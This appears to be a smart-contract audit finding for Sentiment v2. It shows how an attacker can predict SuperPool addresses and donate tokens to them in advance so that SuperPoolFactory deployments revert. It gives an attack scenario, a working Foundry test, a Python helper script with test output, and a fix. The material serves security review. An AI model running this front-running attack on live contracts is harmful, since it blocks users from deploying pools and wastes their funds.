Faithful Teal Cuckoo

Medium

# Attacker can DoS the `SuperPoolFactory`

## Summary
Given that the `superPool` addresses can be predicted, an attacker can exploit this by preemptively sending assets to these addresses, leading to deployment failures for new `superPool` contracts. This effectively causes a DoS for `SuperPoolFactory` and prevents the creation of legitimate `superPool` contracts.

## Vulnerability Detail
Users (superPool owners) [utilize](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/main/protocol-v2/src/SuperPoolFactory.sol#L56) the `SuperPoolFactory.sol::deploySuperPool()` to deploy new `superPools`. The `deploySuperPool()` function [uses `new` keyword](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/main/protocol-v2/src/SuperPoolFactory.sol#L67) to deploy a new `superPool` and requires the user [to make an initial deposit](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/main/protocol-v2/src/SuperPoolFactory.sol#L72) that must result in a share amount [greater than or equal to `MIN_BURNED_SHARES`](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/main/protocol-v2/src/SuperPoolFactory.sol#L75), which [is hardcoded to `1000`](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/main/protocol-v2/src/SuperPoolFactory.sol#L20) shares:
```solidity
    function deploySuperPool(
        address owner,
        address asset,
        address feeRecipient,
        uint256 fee,
        uint256 superPoolCap,
        uint256 initialDepositAmt,
        string calldata name,
        string calldata symbol
    ) external returns (address) {
        if (fee != 0 && feeRecipient == address(0)) revert SuperPoolFactory_ZeroFeeRecipient();
        SuperPool superPool = new SuperPool(POOL, asset, feeRecipient, fee, superPoolCap, name, symbol);
        superPool.transferOwnership(owner);
        isDeployerFor[address(superPool)] = true;

        // burn initial deposit
        IERC20(asset).safeTransferFrom(msg.sender, address(this), initialDepositAmt); // assume approval
        IERC20(asset).approve(address(superPool), initialDepositAmt);
        uint256 shares = superPool.deposit(initialDepositAmt, address(this));
        if (shares < MIN_BURNED_SHARES) revert SuperPoolFactory_TooFewInitialShares(shares);
        IERC20(superPool).transfer(DEAD_ADDRESS, shares);

        emit SuperPoolDeployed(owner, address(superPool), asset, name, symbol);
        return address(superPool);
    }
```

Given that the `new` keyword in Solidity uses the `create` opcode to deploy a contract, the address of this contract is predictable using the following formula:
```python
    predictedAddress = keccak(rlp.encode([sender_address, nonce]))[-20:]
```

An attacker can exploit this predictability by fetching the nonce of the `SuperPoolFactory` contract and using the above calculation to predict the address. The attacker can then transfer some assets directly to the predicted address before the contract is deployed, causing a Denial of Service during the `superPool` creation process.

### PoC
- Alice (the superPool owner) calls `deploySuperPool` with an `initialDepositAmt` of `1e5`.
- An attacker front-runs Alice's transaction, retrieves the nonce of `SuperPoolFactory`, predicts the `superPool`'s address, and transfers `1e5` to the predicted address.
- Alice's transaction is then executed with an `initialDepositAmt` of `1e5`, but it reverts with the `SuperPool_ZeroShareDeposit` error because the `_convertToShares` function returns 0 shares:
    - `_assets` = 1e5
    - `_totalShares` = 0
    - `_totalAssets` = 1e5 (attacker's donation)
    - ${shares}={assets}\times{{totalShares}+1 \over {totalAssets}+1}$
    - ${shares}=100,000\times{{1} \over {100,001}} = 0.99999$
    - Given that `_convertToShares` rounds down so the shares will be 0
    - Alice faces `SuperPool_ZeroShareDeposit` error
- All subsequent `superPool` deployments with this asset and `initialDepositAmt` less or equal to `1e5` will be DoSed.
- In the next attempt, Alice increases the `initialDepositAmt` to `1e8` and calls `deploySuperPool`, but her transaction reverts with the `SuperPoolFactory_TooFewInitialShares` error:
    - `_assets` = 1e5
    - `_totalShares` = 0
    - `_totalAssets` = 1e5 (attacker's donation)
    - ${shares}={assets}\times{{totalShares}+1 \over {totalAssets}+1}$
    - ${shares}=100,000,000\times{{1} \over {100,001}} = 999.99$
    - Given that the `MIN_BURNED_SHARES` is hardcoded to `1000` and the shares is `999` Alices txn will revert with `SuperPoolFactory_TooFewInitialShares` error
    - At this point, all `superPool` deployments with this asset and less than `1e9` of initial deposits will be DoSed.

Since there is no other way to increase the nonce of `SuperPoolFactory`, all deployment attempts will result in the predicted address having a balance (due to malicious donations), leading to a DoS.
Given that these shares will be burned, `superPool` owners might be tempted to burn more tokens to bypass this DoS. However, the attacker can front-run the victim's transaction and donate again to that address if needed to DoS subsequent attempts with more tokens.

## Coded PoC
To create the PoC we should obtain the `SuperPoolFactory`'s address and nonce, predict the address, and update the test case. I've created a Python script to automate this. First, add these test cases to `Superpool.t.sol`:
```solidity
    function test_getFactoryDetails() public view returns (address factoryAddress, uint256 factoryNonce) {
        factoryAddress = address(superPoolFactory);
        factoryNonce = vm.getNonce(factoryAddress);
        console2.log("Factory Address:", factoryAddress);
        console2.log("Factory Nonce:", factoryNonce);
        return (factoryAddress, factoryNonce);
    }

    function test_DoSPoolFactory() public {
        address feeRecipient = makeAddr("FeeRecipient");
        
        address predictedAddress = 0x0000000000000000000000000000000000000000;

        address attacker = vm.addr(666);
        address alice = vm.addr(8585);

        asset1.mint(address(this), 10 ether);
        asset1.mint(alice, 10 ether);
        asset1.mint(attacker, 100 ether);
        asset1.approve(address(superPoolFactory), 100 ether);
        
        vm.prank(attacker);
        asset1.transfer(predictedAddress, 1e5);

        vm.expectRevert(
            abi.encodeWithSelector(SuperPool.SuperPool_ZeroShareDeposit.selector, predictedAddress, 1e5)
        );
        address deployed = superPoolFactory.deploySuperPool(
            poolOwner, address(asset1), feeRecipient, 0, type(uint256).max, initialDepositAmt, "test", "test"
        );

        vm.expectRevert(
            abi.encodeWithSelector(SuperPoolFactory.SuperPoolFactory_TooFewInitialShares.selector, 999)
        );
        deployed = superPoolFactory.deploySuperPool(
            poolOwner, address(asset1), feeRecipient, 0, type(uint256).max, 1e8, "test", "test"
        );

        // now if Alice deposits 1e9, she can deploy a superPool
        deployed = superPoolFactory.deploySuperPool(
            poolOwner, address(asset1), feeRecipient, 0, type(uint256).max, 1e9, "test", "test"
        );

        assertEq(deployed, predictedAddress);
    }
```

Install the requirements:
```bash
sudo apt update
sudo apt install python3 python3-pip
pip install web3 eth-utils rlp
```

Make a file named `poc.py` in this path: `/test/core` (beside `Superpool.t.sol`) and add the following code in it:
```python
import subprocess
import rlp
from eth_utils import to_bytes
from web3 import Web3

def predict_contract_address(sender_address, nonce):
    sender_address_bytes = to_bytes(hexstr=sender_address)
    encoded_data = rlp.encode([sender_address_bytes, nonce])
    contract_address_bytes = Web3.keccak(encoded_data)[-20:]
    contract_address_hex = Web3.to_hex(contract_address_bytes)
    contract_address_checksum = Web3.to_checksum_address(contract_address_hex)
    return contract_address_checksum

def update_test_file(test_file_path, predicted_address):
    with open(test_file_path, 'r') as file:
        lines = file.readlines()

    with open(test_file_path, 'w') as file:
        for line in lines:
            if 'address predictedAddress =' in line:
                file.write(f'        address predictedAddress = {predicted_address};\n')
            else:
                file.write(line)

def run_forge_command(command):
    result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
    if result.returncode != 0:
        print(f"Error running command {' '.join(command)}")
        print(result.stderr)
        exit(1)
    return result.stdout

def automate_test_process(test_file_path):
    # get the factory address and nonce
    print("Running preliminary test to get factory address and nonce...")
    factory_output = run_forge_command(["forge", "test", "--mt", "test_getFactoryDetails"])

    # extracting the factory address and nonce from the output
    factory_address = None
    factory_nonce = None

    for line in factory_output.splitlines():
        if "Factory Address:" in line:
            factory_address = line.split()[-1]
        elif "Factory Nonce:" in line:
            factory_nonce = int(line.split()[-1])

    if not factory_address or factory_nonce is None:
        print("Failed to extract factory address or nonce.")
        exit(1)

    print(f"Factory Address: {factory_address}")
    print(f"Factory Nonce: {factory_nonce}")

    # predicting the address using the extracted values
    predicted_address = predict_contract_address(factory_address, factory_nonce)
    print(f"Predicted Address: {predicted_address}")

    # updating the test file with the predicted address
    print("Updating the test file with the predicted address...")
    update_test_file(test_file_path, predicted_address)

    # run the final test with the updated address
    print("Running final Solidity test...")
    final_test_output = run_forge_command(["forge", "test", "--mt", "test_DoSPoolFactory"])
    print(final_test_output)

if __name__ == "__main__":
    TEST_FILE_PATH = "./Superpool.t.sol" 
    automate_test_process(TEST_FILE_PATH)
```

Navigate to the directory where `poc.py` is located:
```bash
cd test/core/
```

Run the test:
```bash
python3 poc.py
```

Result:
```bash
Running preliminary test to get factory address and nonce...
Factory Address: 0xD76ffbd1eFF76C510C3a509fE22864688aC3A588
Factory Nonce: 2
Predicted Address: 0x1cEE5337E266BACD38c2a364b6a65D8fD1476f14
Updating the test file with the predicted address...
Running final Solidity test...
No files changed, compilation skipped

Ran 1 test for test/core/Superpool.t.sol:SuperPoolUnitTests
[PASS] test_DoSPoolFactory() (gas: 10669672)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.22ms (827.51µs CPU time)

Ran 1 test suite in 6.71ms (5.22ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

This Python script retrieves the address and nonce of `superPoolFactory` from `Superpool.t.sol`, then uses them to predict the address of the `superPool`. After predicting the address, it modifies `Superpool.t.sol` by writing the `predictedAddress` into the `test_DoSPoolFactory()` function and then runs the test

## Impact
Since `SuperPoolFactory.sol` will be completely DoSed, user can't deploy new `superPool`

## Code Snippet
https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/main/protocol-v2/src/SuperPoolFactory.sol#L56-L81

## Tool used
- VSCode
- Foundry
- Python

## Recommendation
You can convert the balance to share and then burn these shares to make attackers donation ineffective in `superPool`'s constructor:

```diff
    constructor(
        address pool_,
        address asset_,
        address feeRecipient_,
        uint256 fee_,
        uint256 superPoolCap_,
        string memory name_,
        string memory symbol_
    ) Ownable() ERC20(name_, symbol_) {
        POOL = Pool(pool_);
        ASSET = IERC20(asset_);
        DECIMALS = _tryGetAssetDecimals(ASSET);

+       uint256 balance = ASSET.balanceOf(address(this));
+       if (balance > 0) {
+           uint256 shares = _convertToShares(balance, lastTotalAssets, totalSupply(), Math.Rounding.Down);
+           ERC20._mint(address(this), shares);
+           ERC20._transfer(address(this),0x000000000000000000000000000000000000dEaD, shares);
+           _supplyToPools(balance);
+           lastTotalAssets += balance;
+       }
+
        if (fee > 1e18) revert SuperPool_FeeTooHigh();
        fee = fee_;
        feeRecipient = feeRecipient_;
        superPoolCap = superPoolCap_;
    }
```